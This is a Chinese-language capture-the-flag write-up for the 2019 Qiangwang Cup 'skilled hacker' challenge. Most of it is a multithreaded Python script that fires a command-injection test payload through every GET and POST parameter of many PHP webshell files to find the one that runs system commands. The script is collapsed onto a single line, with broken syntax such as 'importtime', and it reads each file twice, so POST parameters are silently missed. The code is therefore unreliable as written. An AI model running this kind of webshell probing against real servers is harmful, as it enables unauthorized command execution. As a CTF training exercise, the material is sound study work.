[強網杯 2019]高明的黑客 1
阿新 • • 發佈:2021-11-01
1.發現
1.1根據提示下載網站檔案,發現為很多PHP檔案。
2.1開啟其中一個進行程式碼審計。
認真看這些檔案都是 getshell 檔案。能把傳入的變數執行系統命令。
不過不可能都是有用的,隨便開啟幾個會發現,傳入的變數都變為空了,所以基本上無效。
2.2編寫 python 指令碼尋找有用的 getshell 檔案。
基本思想,將檔案都執行一遍,所以需要 web 環境。
可以用 phpstudy 搭建 web 環境,將這些檔案放在 www 根目錄一個資料夾,遍歷訪問。
所以指令碼需要遍歷這些php檔案,然後判斷所有的引數是否可以執行。
import os import requests import re import threading importtime print('開始時間: '+ time.asctime( time.localtime(time.time()) )) s1=threading.Semaphore(100) #這兒設定最大的執行緒數 filePath = r"D:/phpstudy_pro/WWW/src" #自己替換為檔案所在目錄 os.chdir(filePath) #改變當前的路徑 requests.adapters.DEFAULT_RETRIES = 5 #設定重連次數,防止執行緒數過高,斷開連線 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False # 設定連線活躍狀態為False def get_content(file): s1.acquire() print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) with open(file,encoding='utf-8') as f: #開啟php檔案,提取所有的$_GET和$_POST的引數 gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read())) data = {} #所有的$_POST params = {} #所有的$_GET for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/'+file #自己替換為本地url req = session.post(url, data=data, params=params) #一次性請求所有的GET和POST req.close() # 關閉請求 釋放記憶體 req.encoding = 'utf-8' content = req.text #print(content) if "xxxxxx" in content: #如果發現有可以利用的引數,繼續篩選出具體的引數 flag = 0 for a in gets: req = session.get(url+'?%s='%a+"echo 'xxxxxx';") content = req.text req.close() # 關閉請求 釋放記憶體 if "xxxxxx" in content: flag = 1 break if flag != 1: for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';"}) content = req.text req.close() # 關閉請求 釋放記憶體 if "xxxxxx" in content: break if flag == 1: #flag用來判斷引數是GET還是POST,如果是GET,flag==1,則b未定義;如果是POST,flag為0, param = a else: param = b print('找到了利用檔案: '+file+" and 找到了利用的引數:%s" %param) print('結束時間: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: #加入多執行緒 t = threading.Thread(target=get_content, args=(i,)) t.start()
2.3☆下高版本PHP study下跑一下指令碼
2.3查詢根目錄下檔案,查詢flag。
3.借鑑
(36條訊息) BUUCTF__[強網杯 2019]高明的黑客_題解_風過江南亂的部落格-CSDN部落格
4. 知識點
python指令碼的編寫